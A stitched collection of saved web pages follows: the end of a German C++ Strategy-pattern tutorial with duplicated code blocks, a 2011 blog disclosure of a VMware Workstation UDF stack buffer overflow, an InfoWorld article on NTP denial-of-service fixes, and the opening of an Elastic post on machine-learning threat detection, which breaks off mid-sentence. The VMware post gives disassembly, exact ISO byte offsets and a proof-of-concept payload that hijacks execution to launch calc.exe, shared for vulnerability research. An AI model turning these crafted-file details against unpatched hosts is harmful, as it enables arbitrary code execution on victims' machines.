\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11 | **\#include** "_SortStrategy.h_ "  
  
**class** QuickSort : **public** SortStrategy  
\{  
**public** :  
QuickSort\(\) \{\}  
  
**void** sort\(**int** \* data, **int** len\) \{  
_// Hier steht dann die Implementierung des Quicksort-Algorithmus_  
\}  
\}; |   
  
  

**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11 |  1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11 | **\#include** "_SortStrategy.h_ "  
  
**class** ShellSort : **public** SortStrategy  
\{  
**public** :  
ShellSort\(\) \{\}  
  
**void** sort\(**int** \* data, **int** len\) \{  
_// Hier steht dann die Implementierung des Shellsort-Algorithmus_  
\}  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11 | **\#include** "_SortStrategy.h_ "  
  
**class** ShellSort : **public** SortStrategy  
\{  
**public** :  
ShellSort\(\) \{\}  
  
**void** sort\(**int** \* data, **int** len\) \{  
_// Hier steht dann die Implementierung des Shellsort-Algorithmus_  
\}  
\}; |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11 | **\#include** "_SortStrategy.h_ "  
  
**class** ShellSort : **public** SortStrategy  
\{  
**public** :  
ShellSort\(\) \{\}  
  
**void** sort\(**int** \* data, **int** len\) \{  
_// Hier steht dann die Implementierung des Shellsort-Algorithmus_  
\}  
\}; |   
  
  
  

**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25 |  1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25 | **\#include** "_UserClass.h_ "**  
\#include** "_SortStrategy.h_ "**  
\#include** "_QuickSort.h_ "**  
\#include** "_ShellSort.h_ "  
  
**int** main\(\)  
\{  
  
SortStrategy\* s = **new** ShellSort\(\);  
UserClass\* c = **new** UserClass\(s\);  
c->sort\(\); _// mit Shellsort sortieren  
  
//Algorithmus wechseln_  
c->changeStrategy\(**new** QuickSort\(\)\);  
c->sort\(\); _// jetzt wird mit Quicksort sortiert  
  
// in C++ müssen wir selbst allozierte Speicherbereiche auch wieder
freigeben:_  
**delete** s;  
**delete** c;  
  
_// ACHTUNG: Beim Aufruf von "c->changeStrategy\(new QuickSort\(\)\);" haben
wir uns jedoch nicht die Speicheradresse des neuen QuickSort-Objekt gemerkt
und  
// können es somit auch nicht selbst wieder freigeben. D. h., hier würde ein
Memory Leak entstehen, wenn das Programm noch länger laufen würde._  
  
**return** 0;  
\} |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25 | **\#include** "_UserClass.h_ "**  
\#include** "_SortStrategy.h_ "**  
\#include** "_QuickSort.h_ "**  
\#include** "_ShellSort.h_ "  
  
**int** main\(\)  
\{  
  
SortStrategy\* s = **new** ShellSort\(\);  
UserClass\* c = **new** UserClass\(s\);  
c->sort\(\); _// mit Shellsort sortieren  
  
//Algorithmus wechseln_  
c->changeStrategy\(**new** QuickSort\(\)\);  
c->sort\(\); _// jetzt wird mit Quicksort sortiert  
  
// in C++ müssen wir selbst allozierte Speicherbereiche auch wieder
freigeben:_  
**delete** s;  
**delete** c;  
  
_// ACHTUNG: Beim Aufruf von "c->changeStrategy\(new QuickSort\(\)\);" haben
wir uns jedoch nicht die Speicheradresse des neuen QuickSort-Objekt gemerkt
und  
// können es somit auch nicht selbst wieder freigeben. D. h., hier würde ein
Memory Leak entstehen, wenn das Programm noch länger laufen würde._  
  
**return** 0;  
\} |   
**C/C++ Code:**  
---  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25 | **\#include** "_UserClass.h_ "**  
\#include** "_SortStrategy.h_ "**  
\#include** "_QuickSort.h_ "**  
\#include** "_ShellSort.h_ "  
  
**int** main\(\)  
\{  
  
SortStrategy\* s = **new** ShellSort\(\);  
UserClass\* c = **new** UserClass\(s\);  
c->sort\(\); _// mit Shellsort sortieren  
  
//Algorithmus wechseln_  
c->changeStrategy\(**new** QuickSort\(\)\);  
c->sort\(\); _// jetzt wird mit Quicksort sortiert  
  
// in C++ müssen wir selbst allozierte Speicherbereiche auch wieder
freigeben:_  
**delete** s;  
**delete** c;  
  
_// ACHTUNG: Beim Aufruf von "c->changeStrategy\(new QuickSort\(\)\);" haben
wir uns jedoch nicht die Speicheradresse des neuen QuickSort-Objekt gemerkt
und  
// können es somit auch nicht selbst wieder freigeben. D. h., hier würde ein
Memory Leak entstehen, wenn das Programm noch länger laufen würde._  
  
**return** 0;  
\} |   
  
  
  
Ein häufig auftretender Fehler ist, dass in Fällen wie diesen Vererbung
eingesetzt wird, um die verschiedenen Verhaltensweisen einer Klasse zu
modellieren. Das ist jedoch falsch. Eine Vererbung ist immer eine Ist-ein-
Beziehung, nicht mehr und nicht weniger. Durch das Kennen des Strategy-
Patterns lassen sich solche Fehler eventuell vermeiden. Nehmen wir z. B. noch
mal obiges Beispiel: Nehmen wir an, dass wir dieser Klasse noch eine
Zeichenfunktion hinzufügen wollen, welche wahlweise die Häufigkeit des
Auftretens der verschiedenen Zahlen im Datenbestand entweder als Balken- oder
Kreisdiagramm zeichnet. Es gibt mitunter Leute, die hier auf die Idee kommen
könnten, dies als Vererbung zu realisieren, was z. B. so aussehen könnte:  
  
\(Vererbung\)  
<img src='img/wronginheritance.png' />  
  
Viel besser wäre hier aber wieder die Anwendung des Strategy-Patterns. Auf
welche Art und Weise \(also wie\) die Klasse so ein Diagramm zeichnet, ist
egal, Hauptsache sie zeichnet es. So lassen sich auch bequem neue
Zeichenimplementierungen hinzufügen bzw. bestehende verändern und das ohne
unsere Ausgangsklasse zu modifizieren, was insbesondere in größeren Projekten
wichtig ist. Ein weiterer Vorteil ist, dass die mithilfe des Strategy-Patterns
gekapselten Algorithmen auch von anderen Klassen problemlos benutzt werden
können.  
  
\(Strategy-Pattern\)  
<img src='img/strategyexample2.png' />  
  
  
  
  
5 Zusammenfassung  
  
Gerade beim letzten Pattern, dem Strategy Pattern, kann man sehen, worauf es
bei vielen Patterns ankommt. Man hat ein größeres Problem, das man mit einer
oder mehreren Klassen zu lösen versucht. Dieses große Problem lässt sich in
mehrere kleinere Teilprobleme unterteilen, von denen nicht alle
anwendungsspezifisch, sondern allgemeiner sind, wie z.B . das Benachrichtigen
von Objekten bei Zustandsänderungen \(vgl. Observer Pattern\). Diese kleineren
Teilprobleme versucht man dann in eigene Klassen zu kapseln, was oft durch
gemeinsame Schnittstellen und Polymorphie erreicht wird. Dadurch werden die
Klassen, die man schreibt, um einiges flexibler und man wird besser auf sich
ändernde Anforderungen reagieren können, was gerade heute ungemein wichtig
ist.  
  
Es ist allerdings nicht wichtig, jedes einzelne Design Pattern zu kennen. Viel
wichtiger ist es, das prinzipielle Vorgehen bei Design Patterns zu verstehen
und dieses auch im Alltag anwenden zu können. Man sollte also beim Entwickeln
von Klassen ein großes Problem in kleinere "zerlegen" können, um dann zu
schauen, ob es für so ein Teilproblem nicht vielleicht schon ein bewährtes
Entwurfsmuster gibt.  
  
Bei relationalen Datenbanken hat einer meiner Professoren einmal gesagt, dass
die Antwort auf viele Probleme einfach im Erzeugen neuer Tabellen liegt.
Genauso kann man beim objektorientierten Programmieren meiner Meinung nach
behaupten, dass die Antwort auf viele Probleme im Erstellen neuer Klassen
liegt, in welche man Teilprobleme auslagert. Klingt vielleicht ein bisschen
dumm, aber da steckt schon ein bisschen Wahrheit drin.  
  
  
6 Literatur  
  
\[1\] Design Patterns \- Erich Gamma, Richard Helm, Ralph Johnson, John
Vlissides  
DAS Buch zu Design Patterns schlechthin. Jedes einzelne Design Pattern wird
anhand von UML-Diagrammen, Code-Beispielen \(C++; Smalltalk\) und
Problemstellungen durchgegangen. Für absolute Anfänger vielleicht eher weniger
tauglich, ansonsten aber sehr gut. Gibts auch auf Deutsch.  
  
\[2\] Design Patterns Explained - A New Perspective on Object Oriented Design
\- Allan Shalloway, James R. Trott  
Meiner Meinung nach ein sehr schönes Buch, welches nicht nur einfach eine
Auflistung aller Design Patterns von A-Z bringt, sondern vielmehr versucht,
dem Leser anhand einiger ausgewählter Design Patterns einen guten OO-Stil
beizubringen. Zudem ist das Buch sehr kurzweilig geschrieben. Alle Code-
Beispiele gibts in Java und C++.  
  
\[3\] Modern C++ Design: Generic Programming and Design Patterns applied \-
Andrei Alexandrescu  
Dreht sich nicht ausschließlich um Design Patterns, sondern insbesondere auch
um generische Programmierung mit Templates. Sollte hier aber dennoch nicht
fehlen, da es bei den behandelten Design Patterns nicht nur einfach eine
einfache Implementierung zeigt, sondern v. a. auch auf verschiedene
Problemstellungen eingeht und dafür C++-bezogene Lösungswege zeigt. Ziemlich
anspruchsvoll; ohne vorherige Erfahrung mit Templates und Design Patterns sehr
schwer zu verstehen.  
  
\[4\] Head first Design Patterns \- Elisabeth Freeman, Eric Freeman, Bert
Bates, Kathy Sierra  
Das Buch soll wohl sehr gut und vor allem auch angenehm zum Lesen sein \(ich
kenne es nicht\).

# SecuriTeam Blogs » VMware UDF Stack Buffer Overflow

**Created:**| _10/10/2011 12:58:56 PM_  
---|---  
**Updated:**| _10/10/2011 12:58:56 PM_  
**Author:**| __  
**Tags:**| _vmware bughunting_  
  

## VMware UDF Stack Buffer Overflow

October 10th, 2011 by secventuregroup, Filed under: Commentary

On October 5th, 2011 VMware released Security Advisory VMSA-2011-0011 titled
“VMware hosted products address remote code execution vulnerability“. .
Unfortunately, VMware forgot to give credit to me. So I have decided to post
technical details of this vulnerability. I believe that since all the required
patches have already been released this information will not affect any
legitimate users of VMware products.

**A bit of History**  
My friend Yevgeniy noticed that VMware Workstation 7.0.0 crashed during OS
detection when he tried to install Win 7 from ISO file. Its updating to
version 7.1.1 “solved” this problem. But the further investigation \(of
versions 7.1.1 and 7.1.3\) showed significant problems with the parsing of ISO
file with UDF.

**Summary**  
The easy install features enable user to perform the unattended installation
of the guest operating system after the completion of the New Virtual Machine
wizard. If user specifies an installer disc \(DVD or CD\) or ISO image file
the wizard will try to detect an operating system. The vulnerability occurs
when VMware product parses UDF file system of ISO file with “LogicalBlockSize”
> 2048 while detecting OS.  
The exploitation allows attackers to execute arbitrary code on the affected
host under the context of the user who started VMware product and tried to
install new virtual OS from the malicious ISO file.

**Technical details**  
OS : Win \(32bit\)  
Application : VMware Workstation 7.1.3 Build:324285  
File : vmwarebase.dll  
Version : 7.1.3.14951  
Imagebase : 0×11101000

Function UDF\_Open \(sub\_112E00D0\) is vulnerable. According to
http://www.osta.org/specs/pdf/udf260.pdf: The logical sector size and the
logical block size of DVD shall be 2048 bytes. The developer allocates the
0×800 \(2048\) sized buffer in the stack for the actual sector:

.text:112E00E6 push 7FFh ; size\_t  
.text:112E00EB mov edi, eax  
.text:112E00ED lea eax, \[ebp+var\_81F\] \#allocating 0×800 in the stack  
.text:112E00F3 push 0 ; int  
.text:112E00F5 push eax ; void \*  
.text:112E00F6 mov \[ebp+Buffer\], 0  
.text:112E00FD call memset \#setting bytes of the buffer to 0×00

The application DOES NOT verify value of “Uint32 LogicalBlockSize”
\(udf260.pdf 2.2.4.2\) from the structure “Logical Volume
Descriptor”\(udf260.pdf 2.2.4\):

.text:112E0267 movzx eax, \[ebp+var\_749\] \# the highest byte of Uint32
LogicalBlockSize \(for example 00 0a 00 “00″\)  
.text:112E026E movzx ecx, \[ebp+var\_74A\] \# the 3rd byte of Uint32
LogicalBlockSize \(for example 00 0a “00″ 00\)  
.text:112E0275 movzx edx, \[ebp+var\_74B\] \# the 2nd byte of Uint32
LogicalBlockSize \(for example 00 “0a” 00 00\)  
.text:112E027C shl eax, 8  
.text:112E027F or eax, ecx  
.text:112E0281 movzx ecx, \[ebp+var\_74C\] \# the lowest byte of Uint32
LogicalBlockSize \(for example “00″ 0a 00 00 \)  
.text:112E0288 shl eax, 8  
.text:112E028B or eax, edx  
.text:112E028D shl eax, 8  
.text:112E0290 or eax, ecx  
.text:112E0292 mov \[edi\], eax \# saving LogicalBlockSize = 0xA00 instead
0×800

VMWare reads LogicalBlockSize bytes from ISO file to the allocated buffer:

.text:112E0423 mov eax, \[edi\] \# 0xA00  
.text:112E0425 push 0 ; int  
.text:112E0427 push eax ; nNumberOfBytesToRead  
.text:112E0428 lea ecx, \[ebp+Buffer\] \#allocated stack buffer \(size 0×800\)  
.text:112E042E push ecx ; lpBuffer  
.text:112E042F lea eax, \[edi+38h\]  
.text:112E0432 push eax ; int  
.text:112E0433 call Ordinal76 \#it reads 0xa00 bytes from the file and writes
to the buffer… OVERFLOW\!\!\! STACK UNDER CONTROL

Since the attacker controls the content of the stack he can control of the
flow of execution:

.text:112E0516 pop edi  
.text:112E0517 pop esi  
.text:112E0518 xor eax, eax  
.text:112E051A pop ebx  
.text:112E051B mov esp, ebp  
.text:112E051D pop ebp  
.text:112E051E retn \# Return to the desired address

The Linux versions of the VMware products have the same behavior.

The vulnerable code can be reached through opening of crafted ISO file for
installation new OS:  
1\) File->New->Virtual Machine.  
2\) “New Virtual Machine Wizard” will be opened.  
3\) Then

1st page - choose “Typical”, 2nd page - choose “Installer disc image
file\(ISO\)”  
or  
1st page - choose “Custom”, 2nd page isn’t important, 3rd page - choose
“Installer disc image file\(ISO\)”  
4\) Then the user should choose crafted ISO.

**Proof of Concept**  
To create the specially-crafted file, we modified the correct ISO file because
it was necessary for passing several verifications. For example:  
\(\*All offsets are hexadecimal.\)

To pass the next verification:  
.text:112E0175 lea edx, \[ebx+3\]  
.text:112E0178 lea esi, \[ebp+Buffer\]  
.text:112E017E call sub\_112DFA50

ISO file must have bytes:

Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F  
00080000 “02 00″ 02 00 “74″ 00 00 00 18 66 F0 01 00 01 00 00

“02 00″ - TagIdentifier  
“74″ - TagChecksum

The parser reads and verifies next bytes too:

Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F  
00080010 00 80 00 00 01 01 00 00 00 80 00 00 13 01 00 00

To read the inappropriate LogicalBlockSize we need to pass the next
verification:

.text:112E0251 lea edx, \[eax+6\]  
.text:112E0254 lea esi, \[ebp+Buffer\]  
.text:112E025A call sub\_112DFA50

Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F  
00081000 “06 00″ 02 00 “B4″ 00 00 00 33 C7 AE 01 02 01 00 00

“06 00″ - TagIdentifier  
“B4″ - TagChecksum

Reading of LogicalBlockSize:

.text:112E0267 movzx eax, \[ebp+var\_749\]  
.text:112E026E movzx ecx, \[ebp+var\_74A\]  
.text:112E0275 movzx edx, \[ebp+var\_74B\]  
.text:112E027C shl eax, 8  
.text:112E027F or eax, ecx  
.text:112E0281 movzx ecx, \[ebp+var\_74C\]

Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F  
000810D0 00 00 00 23 “00 0A 00 00″ 00 2A 4F 53 54 41 20 55

Then VMware overflows the buffer \(size 0×800\) by reading LogicalBlockSize
bytes from the first logical block. In our case it starts from:

Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F  
00098000 00 01 02 00 E6 00 00 00 83 6F F0 01 00 00 00 00

In order not to overwrite the stack by the contents of next blocks, we changed
the type 0×100 to 0×101.

Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F  
00098000 “01″ 01 02 00 E6 00 00 00 83 6F F0 01 00 00 00 00

And the next verification will be failed:

.text:112E0443 mov edx, 100h  
.text:112E0448 lea esi, \[ebp+Buffer\]  
.text:112E044E call sub\_112DFA50

And the execution goes to:  
.text:112E051D pop ebp  
.text:112E051E retn

PAYLOADS:

Windows \(32 and 64 bit\) \[WindowsISO\]

Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F  
00098820 50 00 00 00 D8 5A 11 11 00 00 00 00 00 00 00 00  
00098830 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00  
00098840 00 00 00 00 30 C1 46 11 88 DD 45 11 88 DD 45 11  
00098850 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….  
00098860 00 00 00 00 00 00 00 00 43 00 3A 00 5C 00 5C 00 ……..C.:.\\.\\.  
00098870 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 5C 00 W.i.n.d.o.w.s.\\.  
00098880 5C 00 73 00 79 00 73 00 74 00 65 00 6D 00 33 00 \\.s.y.s.t.e.m.3.  
00098890 32 00 5C 00 5C 00 63 00 61 00 6C 00 63 00 2E 00 2.\\.\\.c.a.l.c…  
000988A0 65 00 78 00 65 00 00 00 00 00 00 00 00 00 00 00 e.x.e………..

D8 5A 11 11 = 0×11115ad8 - “desired” address:

.text:11115AD8 push edi ; lpApplicationName  
.text:11115AD9 call ds:CreateProcessW

edi points to the string
“C.:.\\.\\.W.i.n.d.o.w.s.\\.\\.s.y.s.t.e.m.3.2.\\.\\.c.a.l.c…e.x.e” in the
stack.

30 C1 46 11 = 0×1146C130 - it points to array ‘\x00\x00\x00…’ \(it is used as
pStartupInfo\)

88 DD 45 11 = 0×1145DD88 - it points to array ‘\x44\x00\x00…’ \(it is used as
pProcessInfo\)

So function CreateProcessW will be called with the following parameters:

04E1FCB4 04E1FCF8 шьб |ModuleFileName = “C:\\\Windows\\\system32\\\calc.exe”  
04E1FCB8 00000000 …. |CommandLine = NULL  
04E1FCBC 00000000 …. |pProcessSecurity = NULL  
04E1FCC0 00000000 …. |pThreadSecurity = NULL  
04E1FCC4 00000001 … |InheritHandles = TRUE  
04E1FCC8 00000000 …. |CreationFlags = 0  
04E1FCCC 00000000 …. |pEnvironment = NULL  
04E1FCD0 00000000 …. |CurrentDir = NULL  
04E1FCD4 1146C130 0БF |pStartupInfo = vmwareba.1146C130  
04E1FCD8 1145DD88 €ЭE |pProcessInfo = vmwareba.1145DD88

**Credit**  
Huge thanks to Yevgeniy Grushka, who helped me with researching and verifying
for this vulnerabilit

# NTP fixes denial-of-service flaws

**Created:**| _12/21/2016 9:17:55 AM_  
---|---  
**Updated:**| _12/21/2016 9:17:55 AM_  
**Author:**| __  
**Tags:**| _DoS ntp_  
  

  

# NTP fixes denial-of-service flaws

## Attackers can exploit NTP to generate large volumes of junk traffic for
distributed denial-of-service attacks. Update NTP to keep your servers out of
the DDoS botnet

By Fahmida Y. Rashid

| Follow

Senior Writer, InfoWorld Nov 23, 2016

  * <img src='img/twitter.svg' width='28' height='28' />
  * <img src='img/facebook.svg' width='28' height='28' />
  * <img src='img/linkedin.svg' width='28' height='28' />
  * <img src='img/gplus.svg' width='28' height='28' />
  * <img src='img/reddit.svg' width='28' height='28' />
  * <img src='img/stumbleupon.svg' width='28' height='28' />
  * <img src='img/mail.svg' width='28' height='28' />

<img src='img/ddos-attack-ex-100695385-large.jpg' width='620' height='420'
alt='NTP fixes denial-of-service flaws' />

Credit: Nasanbuyn

<img src='img/dealpost-color.svg' width='300' height='83' />

  * There's Still Time\! Go Here For Last Minute Deals That Will Ship Fast - Deal...
  * 15% off Zeceen Metal USB Lightning Cable, Virtually Indestructible and Weather...
  * 22% off Roku Streaming Stick - Deal Alert

The Network Time Foundation's Network Time Protocol Project has patched
multiple denial-of-service vulnerabilities with the release of ntp-4.2.8p9.
The last update to the open source protocol used to synchronize computer
clocks was in June.

"NTP users are strongly urged to take immediate action to ensure that their
NTP daemons are not susceptible to being used in DDoS \(distributed denial-of-
service\) attacks," the project maintainers wrote in the security advisory.

**\[ Also on InfoWorld:19 open source GitHub projects for security pros. | Discover how to secure your systems with InfoWorld's Security Report newsletter. \]**
NTP is a widely used protocol, and has been hijacked several times over the
past two years in distributed denial-of-service attacks. Attackers harness the
power of the servers running NTP and amplify the amount of traffic -- as much
as 1,000 times the size of the initial query -- sent to victim systems.
Research from network security company Arbor Networks estimated that 85
percent of volumetric DDoS attacks exceeding 100Gbps in size were NTP
reflection attacks.

Some of the vulnerabilities are easy to exploit, and there is a proof of
concept already available for one of them. Attackers are increasingly
exploiting the limitations of older protocols like NTP to generate large
volumes of junk traffic used for large DDoS attacks, network company Akamai
said in a previous State of the Internet report.

### Issues fixed in ntp-4.2.8p9

The most serious vulnerability lets attackers crash Windows systems by sending
"too big" packets \(CVE-2016-9312\). The update also includes fixes for two
medium, two medium-low, and five low-severity vulnerabilities, all of which
can be exploited to cause a denial of service. One of the medium-severity
flaws \(CVE-2016-7431\) was related to a regression in the handling of some
Zero Origin timestamp checks. One of the low-severity flaws \(CVE-2016-7433\)
was related to a previously fixed bug where the jitter value was higher than
expected and affected initial sync calculations.

Two vulnerabilities were related to the trap service in NTPD. While trap is
not enabled by default, if the service is explicitly enabled, attackers can
send specially crafted packets to cause a null pointer dereference
\(CVE-2016-9311\) that will crash NTPD. The configuration modification
vulnerability in the control mode \(mode 6\) functionality of NTPD
\(CVE-2016-9310\) can be exploited by a remote, unauthenticated attacker.

"If, against long-standing BCP recommendations, `restrict default noquery` is
not specified, a specially crafted control mode packet can set NTPD traps,
providing information disclosure and DDoS amplification, and unset NTPD traps,
disabling legitimate monitoring," according to the advisory.

Two of the low-severity vulnerabilities exploited NTP's broadcast mode. They
were originally intended to be used only on trusted networks, but now
attackers with access to the broadcast service can abuse the replay prevention
functionality \(CVE-2016-7427\) and the poll interval enforcement
functionality \(CVE-2016-7428\) to cause NTPD to reject broadcast mode packets
from legitimate NTP broadcast servers.

If NTPD is configured to allow mrulist query requests, a server sending
malicious mrulist queries will crash NTPD \(CVE-2016-7434\). The researcher
who reported this vulnerability, Magnus Stubman, has publicly released the
proof of concept, likely because the low-severity vulnerability, with a score
of 3.8 on the Common Vulnerability Scoring System, is highly exploitable.

"The vulnerability allows unauthenticated users to crash NTPD with a single
malformed UDP packet, which causes a null pointer dereference," Stubman wrote.

If the server response on a socket corresponds to a different interface than
what was used for the request, NTPD updates the peer structure to use the
newer interface. On hosts with multiple interfaces in separate networks and
where the operating system isn't checking the packet's source IP address,
attackers can send a packet with spoofed source addresses to trick NTPD to
select the wrong interface \(CVE-2016-7429\). Repeating the attack even once
per second is enough to prevent NTPD from synchronizing with the time server.

Rate limiting prevents brute-force attacks on the origin timestamp, but if the
server is misconfigured, it can be abused in a DDoS attack. Attackers can send
packets with spoofed source addresses and keep the rate limiting activated,
which would prevent NTPD from accepting valid responses from other sources
\(CVE-2016-7426\).

### Mitigations and recommendations

Along with updating to ntp-4.2.8p9, the project maintainers recommended
implementing Ingress and Egress filtering through BCP-38 to "defeat denial-of-
service attacks." Many DoS attacks rely on IP source address spoofing to hide
the packet's point of origin, making it hard for defenders to know where the
network traffic is coming from. BCP-38 filtering lets administrators block IP
packets that have forged IP addresses. If the device is not allowed to send
packets with source addresses other than its own, then that device can't be
hijacked to spew junk traffic as part of a DDoS attack.

Other recommendations included:

  * Monitoring NTPD instances and autorestarting the daemon without the -g flag if it stops running
  * Using `restrict default noquery` in the ntp.conf file to allow only mode-six queries from trusted networks and hosts
  * Using broadcast mode only on trusted networks
  * Creating a firewall rull to block oversized NTP packets, especially on Windows
  * Allowing mrulist query packets only from trusted hosts
  * Configuring the firewall to control what interfaces can receive packets from which networks, especially if the operating system isn't performing source address checks
  * Configuring rate limited with `restrict source` in the ntp.conf file, instead of `restrict default limited`

The Department of Homeland Security's Computer Emergency Response Team at
Carnegie Mellon University's Software Engineering Institute maintain a list of
vendors implementing NTP. At the moment, the status of most vendors is listed
as "Unknown."

### Update or replace?

Whenever there is a security vulnerability in a widely used open source
project, a segment of IT and security folks pounce on the report as proof
people should abandon using the software and switch to something else. NTP is
no different, as the 30-year-old protocol lacks security features and is
vulnerable to abuse. There are many who think administrators should use secure
alternatives, but most tend to be complex or not yet mature enough for
widespread adoption.

The "don't update, replace," argument is impractical. Replacing crucial
services without thinking through how the new tool would be supported causes
more administrative headaches. It may be a simple enough task to uninstall
NTPD, but if administrators don't know how to configure the new tool
correctly, monitor the performance, and troubleshoot resulting issues, then
the replacement tool doesn't do much to improve overall security. Any
replacement should come after a thorough review of the alternatives, be tested
thoroughly in a nonproduction environment, and have controls to monitor and
secure the software. Don't replace; update instead.

Related:

  * Security
  * Networking

Fahmida Y. Rashid is a senior writer at InfoWorld, whose coverage focuses on
information security.

_▻ ▻_ _From CIO:_ 8 Free Online Courses to Grow Your Tech Skills

You Might Like

Notice to our Readers

We're now using social media to take your comments and feedback. Learn more
about this here.

Most Read

10 reasons you shouldn't upgrade to Windows 10

You may still be better off sticking with Win7 or Win8.1, given the wide range
of ongoing Win10...

  * The case against Windows 10 Anniversary Update grows
  * Windows 10 upgrade stuck at 99 percent? Here are your options

Newsletters

Sign up and receive the latest news, reviews, and analyses on your favorite
technology topics.

Get our InfoWorld Daily Newsletter:

2 easy steps to speed up Windows 7 Update scans

Based on a technique created by a German blogger, here's how to stop wasting
hours checking for Windows...

Microsoft yanks buggy speed-up patch KB 3161608, replaces it with KB 3172605

Microsoft and Intel are in a standoff when it comes to Bluetooth bugs in the
Windows Update speed-up...

` `

Resources

  * Build a Better Cloud: Understanding Your Options for a Smart Migration Strategy
  * Build a Better Cloud: Understanding Your Options for a Smart Migration Strategy
  * Cloud Consulting and Integration Services: Enabling a Hybrid World to Accelerate Business Outcomes
  * eGuide: The DDoS Security Threat
  * Get the "7 Secrets of AWS Security"

Top Stories

Celebrate 2016’s mobile gems

Cool, useful innovations were few and far between last year, so these five
mobile breakthroughs deserve...

Google open-sources test suite to find crypto bugs

Developers can use Project Wycheproof to test cryptographic algorithms against
a library of known...

Q&A: Hortonworks CTO unfolds the big data road map

Hortonworks' Scott Gnau talks about Apache Spark vs. Hadoop and data in motion

Maybe security isn't going to get better after all

Is that light at the end of the tunnel? Or is a train coming?

` `

Sponsored Links

  * Where do you stack up with your IT counterparts on cloud investment? 

  

# Using Machine Learning and Elasticsearch for Security Analytics: A Deep Dive | Elastic
**Created:**| _5/20/2017 8:57:55 PM_  
---|---  
**Updated:**| _5/20/2017 9:02:59 PM_  
**Author:**| __  
**Tags:**| _machine-learning elasticsearch_  
  

  

17 May 2017 Engineering  

  

Using Machine Learning and Elasticsearch for Security Analytics: A Deep Dive

  

By Mike Paquette  

  

Share

## Introduction

In our previous post of our multi-part series on integrating Elasticsearch
with ArcSight SIEM, where we used X-Pack alerting features to detect a
successful brute force login attack, we hinted that we were excited about the
pending arrival of our machine learning features in X-Pack.

Well the time has come, and X-Pack machine learning features are here. Now we
want to walk through what it means to use machine learning to detect
anomalies, that are associated with cyber threat behaviors, in log data living
in Elasticsearch.

## Math, not Magic

Before we jump into this, it’s probably a good idea to add some context. A
common misperception in cybersecurity is that machine learning is a magic box
of algorithms that you let loose on your data and they start producing nuggets
of brilliant cyber insight for you.

A more enlightened understanding of machine learning in cybersecurity sees it
as an arsenal of "algorithmic assistants" to help the security team automate
the analysis of security-relevant log data by looking for potentially
incriminating anomalies and patterns -- but under the direction of human
security experts.

## Threat Monitoring or Threat Hunting - A Role for Machine Learning

X-Pack machine learning features can be used for interactive investigation of
threat-related anomalies. An “anomaly swimlane” visualization in Kibana is
often used as the starting point for threat hunting expeditions, but details
about detected anomalies will transparently show the security analyst “why”
the detected behavior was anomalous, how unusual it was, why it relates to the
elementary attack behavior it attempts to detect, and which entities in the
data were influential on the attack behavior.

Because the X-Pack machine learning features are tightly integrated into the
Elastic Stack, the alerting techniques we described in our Integrating
Elasticsearch with ArcSight SIEM Part 2 and Part 4 posts can now be applied to
a new source of insight, the machine learning results index, whose index
pattern is called ml-anomalies-\*. In this way, results produced by these
algorithmic assistants can be used to trigger alerts for ongoing threat
monitoring.

<img src='img/Temp2_8774.png' width='848' height='362' alt='image1.png' />Fig.
1 X-Pack machine learning features integrated with Elastic Stack

## Machine Learning “Recipes” for Threat Detection

While threshold-based event notification is powerful, such as triggering a
notification when a successful login is preceded by multiple unsuccessful
logins, the ability to automate the detection of anomalous behavior without
having to define specific data conditions simplifies the experience for the
security analyst.

That said, as we mentioned above, we’re talking about mathematics, not magic,
so the machine learning engine must be given its marching orders as settings
in its job configuration. Since the engine can model any type of time-series
data - numerical or categorical - the types of machine learning jobs that can
be configured are unlimited. While this is flexible, it can be a bit too much
for a security analyst who really just wants to find threats.

Here we introduce the concept of machine learning “recipes” for security use
cases. Recipes describe how to configure machine learning jobs, so that we can
use automated anomaly detection to uncover elementary attack behaviors that
can be difficult to detect using other means. Elementary attack behaviors
include activities such as DNS tunneling, web data exfiltration, suspicious
endpoint process execution, and more.

<img src='img/Temp2_8776.png' width='557' height='645' alt='recipes.png' />

Fig. 2  Example machine learning security use case recipe sheets

Each recipe is contained in a short document that includes sections for theory
of operation, description, and specific recipe steps for modeling and
observing results. Recipe steps include feature selection, modeling approach,
detection target, comparison set, candidate influencers, analysis time period,
and results interpretation.

We’ve introduced four machine learning security use case examples with the
launch of V5.4. Available now in this GitHub repo, each example contains a
security use case recipe sheet and various configurations, data, and scripts
to allow you to try them out.

## A Machine Learning Recipe to Detect DNS Tunneling

As an example of a recipe, let’s review how to use machine learning to detect
DNS tunneling activity.

As a quick background, DNS tunneling refers to any activity whereby the Domain
Name Service \(DNS\) internet protocol is used in an attempt to transfer non-
DNS information into and/or out of an organization’s network. Required by all
internet-connected IT infrastructures, DNS network traffic isn’t generally
blocked by firewall policies and has therefore become an attractive channel
for sending unauthorized and/or malicious communication, tunneled under an
organization’s existing security defenses. For example, the FrameworkPOS
malware uses this technique to exfiltrate stolen cardholder data from retail
point of sale terminals.

Let’s walk through the machine learning security use case recipe known in
Elastic security circles as DNS-EAB02. “DNS” indicates that the type of logs
